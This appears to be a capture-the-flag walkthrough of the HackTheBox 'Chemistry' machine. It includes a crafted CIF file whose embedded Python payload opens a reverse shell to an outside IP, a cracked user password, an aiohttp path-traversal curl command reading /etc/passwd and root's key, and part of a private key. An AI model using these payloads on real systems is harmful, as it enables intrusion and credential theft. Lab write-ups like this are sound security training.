Reconnaissance

First, I added the new host to my known ones:

sudo echo "10.10.11.38 chemistry.htb" | sudo tee -a /etc/hosts

Then, I performed a Nmap scan:

nmap -sC -T4 -p- chemistry.htb > sC.txt
 
[redacted]
PORT     STATE SERVICE
22/tcp   open  ssh
| ssh-hostkey: 
|   3072 b6:fc:20:ae:9d:1d:45:1d:0b:ce:d9:d0:20:f2:6f:dc (RSA)
|   256 f1:ae:1c:3e:1d:ea:55:44:6c:2f:f2:56:8d:62:3c:2b (ECDSA)
|_  256 94:42:1b:78:f2:51:87:07:3e:97:26:c9:a2:5c:0a:26 (ED25519)
5000/tcp open  upnp

So I decided to check whatโ€™s inside port 5000:

Never heard about that xd. So I checked both endpoints /login and /register:

After login, I got this uploading content dashboard:

I uploaded the example provided to check functionality:

This is the content of the file:

cat example.cif 
 
data_Example
_cell_length_a    10.00000
_cell_length_b    10.00000
_cell_length_c    10.00000
_cell_angle_alpha 90.00000
_cell_angle_beta  90.00000
_cell_angle_gamma 90.00000
_symmetry_space_group_name_H-M 'P 1'
loop_
 _atom_site_label
 _atom_site_fract_x
 _atom_site_fract_y
 _atom_site_fract_z
 _atom_site_occupancy
 H 0.00000 0.00000 0.00000 1
 O 0.50000 0.50000 0.50000 1

Weaponization

I searched for โ€œ.cif vulnerabilitiesโ€ and found this blog at ethicalhacking.uk

Exploitation

Iโ€™ll use the following PoC:

data_Example
_cell_length_a    10.00000
_cell_length_b    10.00000
_cell_length_c    10.00000
_cell_angle_alpha 90.00000
_cell_angle_beta  90.00000
_cell_angle_gamma 90.00000
_symmetry_space_group_name_H-M 'P 1'
 
loop_
 _atom_site_label
 _atom_site_fract_x
 _atom_site_fract_y
 _atom_site_fract_z
 _atom_site_occupancy
 
 H 0.00000 0.00000 0.00000 1
 O 0.50000 0.50000 0.50000 1
 
_space_group_magn.transform_BNS_Pp_abc  'a,b,[d for d in ().__class__.__mro__[1].__getattribute__ ( *[().__class__.__mro__[1]]+["__sub" + "classes__"]) () if d.__name__ == "BuiltinImporter"][0].load_module ("os").system ("/bin/bash -c \'sh -i >& /dev/tcp/10.10.14.28/666 0>&1\'");0,0,0'
 
_space_group_magn.number_BNS  62.448
_space_group_magn.name_BNS  "P  n'  m  a'  "

Got reverse shell :D

Lateral movement

Inspecting the machine I found /home/app/instance/database.db, which seems to be the database of the app:

I downloaded the database and opened it in an online viewer:

A lot of users are registered in the database, so Iโ€™ll try to crack the hash of rosa using CrackStation, as she is the other user in the machine:

Weโ€™ve got creds: rosa:unicorniosrosados and also user flag :D

Privilege Escalation

As I tried some common entry points and got nothing, I uploaded linpeas to the machine and inspected the results:

It seems that root is running something in the back inside /opt/monitoring_site called app.py, but I canโ€™t access to it. So, inspecting the ports I noticed port 8080 being used:

So I forwarded it to my machine:

# In my machine I'll run:
ssh -L 1010:127.0.0.1:8080 -N rosa@chemistry.htb

If I perform a curl request to it a Python server is being shown:

curl -I http://127.0.0.1:1010
 
[redacted]
Server: Python/3.9 aiohttp/3.9.1

So I searched for โ€œPython/3.9 aiohttp/3.9.1 cveโ€ and got this cve article

Iโ€™ll use the following payload:

curl -s --path-as-is "http://localhost:1010/assets/../../../../../etc/passwd"

So there is a LFI and I can now read root flag :D

Machine pwned

Getting root shell

To become root Iโ€™ll read itโ€™s id_rsa keys and connect to the machine using it:

curl -s --path-as-is "http://localhost:1010/assets/../../../../../root/.ssh/id_rsa"
 
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAsFbYzGxskgZ6YM1LOUJsjU66WHi8Y2ZFQcM3G8VjO+NHKK8P0hIU
UbnmTGaPeW4evLeehnYFQleaC9u//vciBLNOWGqeg6Kjsq2lVRkAvwK2suJSTtVZ8qGi1v
j0wO69QoWrHERaRqmTzranVyYAdTmiXlGqUyiy0I7GVYqhv/QC7jt6For4PMAjcT0ED3Gk
HVJONbz2eav5aFJcOvsCG1aC93Le5R43Wg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